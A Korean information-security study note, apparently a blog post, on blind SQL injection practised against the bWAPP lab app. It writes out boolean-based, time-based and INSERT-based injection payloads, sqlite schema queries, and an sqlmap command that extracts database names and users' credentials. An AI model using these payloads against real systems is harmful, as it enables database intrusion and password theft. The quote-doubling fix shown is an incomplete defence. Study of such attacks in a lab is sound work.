정보보안 스터디 - 14주차 6일 - blind방식 SQLi 상세 연구
☞ blind-boolean-based
blind방식은
어짜피 참인지 거짓인지만 판별하면 되기 때문에 두가지 모두 사용해도 됩니다.
' or 조건 # 거짓' or 조건(참이면 통과) # |
' and 조건(참이면 통과) and 1=1 # 참 and 조건 and 참 # |
글자가 몇자인지도 확인할 수 있으니, 패스워드의 경우 길이 확인 먼저해서 너무 길다 싶으면 패스할 수도 있습니다.
' or (select length(select database()))>='40' #
' or (substring((select database()),1,1))>='a' #
원래는 ascii코드로 변환하여 10진수에대해서 숫자범위를 검증하지만
문자에 대해서도 순서를 알 수 있기 때문에 문자를 넣어도 됩니다.
SQLmap등 자동화 도구를 사용하는 이유이기도 합니다.
SQLmap 작동을 위해서는 쿠키가 현재의 정보와 보안레벨까지 넣어줍니다.
sqlmap -v 3 -u "http://192.168.20.205/bWAPP/sqli_16.php" \ --cookie="PHPSESSID=3e499cc03c13c98798f3df3bad6b7140; security_level=0" \ --data "login=abcd&password=1234&form=submit" --dbs |
☞ sqlite
sqlite은 DBMS로 mysql에 비해 간단하고 파일로 이뤄져있으며 프로그램상에서 확인할 수 있는 것이라고 보면됩니다.
sqlite의 경우는 처음부터 바로 현재 데이터베이스에서의 테이블 이름을 검색합니다.
select tbl_name from sqlite_master where limit 0,1 -- 2개씩 나옵니다. |
select sql from sqlite_master where tbl_name='users' -- blind의 방식에서 컬럼을 찾을 때는 한번에 나오기 때문에 길이가 너무 길어서 찾기가 어렵습니다. |
☞ blind-time-based
해당 옵션에서 파라미터값이 있다면, 이메일을 보내고 값이 없다면 이메일을 안보내는 방식입니다.
이메일을 보냈는지 확인해도 되지만
그냥 직접적으로 확인하기 위해서
참일 경우에 and sleep을 넣어서 대기상태로 두는 것입니다.
해당 방식을 포함한
blind방식은
참/거짓을 구현할 수 있는 로그인에서 가능하고,
이메일을 입력해서 아이디가 맞을 때 이메일을 보내는 방법에서도 가능합니다.
blind based SQL injection은 귀찮은 작업이고, 잘 안 보이지만 확실한 방법입니다
다른 로그인 등에서는 sql 인젝션을 막아놨지만 생각치도 못한 곳에서 통하는 경우가 많을 것 같습니다.
예를 들어 가장 취약해보이는 것은
stored죠
입력한 글, 정보에대해 insert 하고 그 입력값을 selete 또는 그냥 노출을 시킨다고 하더라도
회원가입에서 만약
insert into users(uid, pwd, name, email) value('$uid', '$pwd', '$name', '$email') 라고 했을 때
insert라서 바로 값을 노출 시키는 select 문을 사용할 수는 없지만 select 문을 자체를 실행시켜 저장할 수는 있습니다. name은 그냥 입력해줘야되고 email부분에 데이터 베이스명, 테이블명, 컬럼명, 데이터 추출 을 불러와 저장하는 것입니다.
abc', (select schema_name from information_schema.schemata limit 0,1) 또는 (select database()) ) # |
abc', (select table_name from information_schema.tables where table_schema='bWAPP' limit 0,1) ) # |
abc', (select column_name from information_schema.columns where table_name='users' limit 0,1) ) # |
abc', (select uid,pwd,name from users limit 0,1) ) # |
그러면 insert문에서는 제대로 실행될 것이고, 이름이 뜨는 기능이 있다면 공격자에게 보여질 것입니다.
생각보다 blind 가 가능한 부분이 많다는 점입니다.
그 외에도 SQL쿼리가 들어가는 부분을 찾아 select인지 insert인지 update인지 기능에서 그부분을 중심적으로 본다면 취약한 부분이 분명나올 것입니다.
SQLi 대응 방안으로는 따옴표를 2개로 치환하는 코딩도 있습니다.
str_replace("'", "''") ' > ' ' |
열린 ' 따옴표로 되서 syntax 오류가 뜹니다.